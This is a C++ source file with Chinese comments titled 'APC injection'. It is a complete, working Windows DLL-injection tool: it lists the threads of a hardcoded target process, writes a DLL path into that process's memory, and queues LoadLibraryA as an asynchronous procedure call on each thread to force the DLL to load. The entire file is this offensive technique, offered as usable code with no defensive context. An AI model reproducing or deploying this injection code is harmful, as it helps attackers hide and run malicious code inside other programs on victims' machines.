APC注入

#include <iostream> 
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;


// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    //线程ID数组中当前的线程ID数量
	DWORD dwThreadIdListLength = 0;	
    //线程ID数组的最大容量
	DWORD dwThreadIdListMaxCount = 2000;
    //存储线程ID的动态分配数组，通过调用VirtualAlloc分配内存
	LPDWORD pThreadIdList = NULL;		
	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		printf("[*] Create Thread Id Space Error!\n");
		return FALSE;
	}
	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
	THREADENTRY32 te32 = { 0 };
	RtlZeroMemory(&te32, sizeof(te32));
	te32.dwSize = sizeof(te32);
    //创建系统中所有线程的快照
	HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);	
	if (hThreadSnapshot == NULL)
	{
		printf("[*] Create Thread Snap Error!\n");
		return FALSE;
	}
    //遍历线程快照，获取每个线程的信息。
	BOOL bRet = Thread32First(hThreadSnapshot, &te32);		
	while (bRet)
	{
        //通过比较线程所属进程ID(th32OwnerProcessID)与指定进程ID(dwPid)判断是否与指定进程匹配
		if (te32.th32OwnerProcessID == dwPid)		
													
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
            //如果匹配，则将线程ID te32.th32ThreadID 添加到线程ID数组中							
			pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnapshot, &te32);
	}
    //将线程ID数组的长度 dwThreadIdListLength 和指针 pThreadIdList 
    //分别赋值给传入的参数 pThreadIdListLength 和 ppThreadIdList，以便在函数外部访问线程ID数组。
	*pThreadIdListLength = dwThreadIdListLength;			
	*ppThreadIdList = pThreadIdList;						
	return TRUE;
}


int main()
{
	//char szDllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\x64\\Release\\Dll1.dll";
	char szDllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\Debug\\Dll1";
	//进程pid
    DWORD dwPid = 28496 ;
	BOOL bRet;
    //所有线程id
	LPDWORD pThreadIdList = NULL;
    //线程id个数
	DWORD dwThreadIdListLength = 0;
    //获取当前进程的所有线程
	bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
	if (!bRet)
	{
		printf("[*] Get All Thread Id Error!\n");
		return 0;
	}
	// 打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		printf("[*] Open Process Error!\n");
		return 0;
	}
	DWORD dwDllPathLen = strlen(szDllPath) + 1;
	// 申请目标进程空间，用于存储DLL路径
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpBaseAddress == NULL)
	{
		printf("[*] VirtualAllocEx Error!\n");
		return 0;
	}
	SIZE_T dwWriten = 0;
	// 把DLL路径字符串写入目标进程
	WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
	if (dwWriten != dwDllPathLen)
	{
		printf("[*] Write Process Memory Error!\n");
		return 0;
	}
	//获取LoadLibraryA的加载地址
	LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (pLoadLibraryFunc == NULL)
	{
		printf("[*] Get Func Address Error!\n");
		return 0;
	}
	HANDLE hThread = NULL;
	// 倒序插入线程APC，可避免出现在插入时进程崩溃的现象
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
        //线程句柄
		HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
			CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf(" Success\n");

	if (hProcess)
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadIdList)
	{
		VirtualFree(pThreadIdList, 0, MEM_RELEASE);
		pThreadIdList = NULL;
	}
	ExitProcess(0);
	return 0;
}